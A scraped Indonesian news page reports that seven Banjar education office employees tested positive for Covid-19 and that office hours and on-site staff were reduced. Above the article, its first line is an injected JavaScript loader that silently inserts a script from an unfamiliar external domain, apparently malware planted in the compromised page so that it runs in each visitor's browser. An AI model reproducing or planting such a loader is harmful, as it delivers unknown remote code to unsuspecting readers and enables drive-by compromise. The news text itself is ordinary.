(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

7 Pegawai Disdik Banjar Positif Covid-19, Pegawai dan Jam Kerja Dibatasi


KANALKALIMANTAN. COM, MARTAPURA – Pasca meninggal dunia Kepala Dinas Pendidikan Kabupaten Banjar Maidi Armansyah, sebanyak 102 pegawai melakukan tes swab pada Rabu (4/8/2020) lalu, hasilnya 7 pegawai Disdik Banjar dinyatakan positif Covid-19.

HA Ghani Fauzi, Sekretaris Disdik Banjar kepada Kanalkalimantan.com, mengatakan, dari hasil tes swab lalu sudah keluar hasilnya dan dipastikan 7 pegawai positif Covid-19.

Di antara 7 pegawai itu, 1 orang bertugas di bidang SMP dan  6 orang bidang PAUD. “Hasil itu kami terima Kamis 13 Agustus kemarin,” tuturnya.

Untuk 7 pegawai Disdik Banjar itu, mereka sudah melakukan karantina isolasi di Guest House Sultan Sulaiman Martapura dan Balai Diklat Provinsi Kaimantan Selatan. “Ada juga yang isolasi mandiri di rumahnya,” kata Sekretaris Disdik Banjar.

Selama karantina 14 hari mereka dianjurkan menjaga kondisi agar cepat dalam pemulihan. “Sejauh ini mereka yang karantina sudah dipantau dari Gugus Tugas Covid-19 Kabupaten Banjar, juga diawasi Puskesmas sesuai alamat kerja pegawai yang positif Covid-19 itu,” terangnya.

Meskipun ada 7 pegawai Disdik Banjar terpapar Covid-19, pelayanan di Disdik Banjar tetap berjalan dengan normal. “Hanya saja kami mengurangi jam pelayanan, jam pelayanan hari biasa buka pukul 09.00- 16.30 Wita, kini dibatasi mulai jam 09.00-14.00 Wita,” paparnya.

HA Ghani Fauzi, Sekretaris Disdik Banjar. foto: putra

Terkait pengurangan jam kerja kantor ini, pihaknya belum tahu kapan jam pelayanan akan berjalan normal kembali. “Mengingat penyebaran Covid-19 masih mengkhawatirkan,” sebutnya.

Selain mengurangi jam pelayanan di kantor, Sekretaris Disdik Banjar menambahkan, pegawai yang bekerja hanya 50 persen dari total seluruh pegawai. “Yang hadir ke kantor sudah dijadwalkan guna menghindari penyebaran virus,” sebutnya.

Sesuai dengan Surat Edaran (SE) No 065/679/ ORG tentang penegasan penerapan penyesuaian kerja bagi aparatur sipil negara (ASN) dari Pemkab Banjar.

Penyemprotan disinfektan juga dilakukan 3 hari sekali di kantor Disdik Banjar. (kanalkalimantan.com/ putra)

Reporter : Putra
Editor : Bie


Desy Arfianty

Recent Posts

‎PCNU Alabio Salurkan Bantuan Korban Banjir di Desa Pondok Babaris

KANALKALIMANTAN.COM, AMUNTAI - Wujud kepedulian Pengurus Cabang (PC) Nahdatul Ulama (NU) Alabio menyalurkan bantuan kepada… Read More

11 jam ago

Represifitas Aparat saat Unjuk Rasa Mahasiswa di Rumah Banjar

KANALKALIMANTAN.COM, BANJARMASIN — Demontrasi tolak Pilkada melalui DPRD di Banjarmasin memakan korban dari mahasiswa imbas… Read More

19 jam ago

Pemkab Kapuas Siapkan Data dan Regulasi Dukung Program 3 Juta Rumah

KANALKALIMANTAN.VOM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyelaraskan kebijakan daerah untuk mendukung program prioritas… Read More

23 jam ago

Unjuk Rasa Mahasiswa di Rumah Banjar Cuma Satu Wakil Rakyat Muncul

KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan… Read More

1 hari ago

Sekda Kapuas Pimpin Rakor Laporan Kinerja Pelaksanaan PRO-SN 2025

KANALKALIMANTAN.COM, KUALA KAPUAS - Sekretaris Daerah (Sekda) Kabupaten Kapuas Usis I Sangkai memimpin rapat koordinasi… Read More

1 hari ago

Jaminan Kesejahteraan untuk PPPK, Pemkab Kapuas Rapat Bersama PT Taspen

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mematangkan langkah sosialisasi PT Taspen bagi Pegawai Pemerintah… Read More

1 hari ago

This website uses cookies.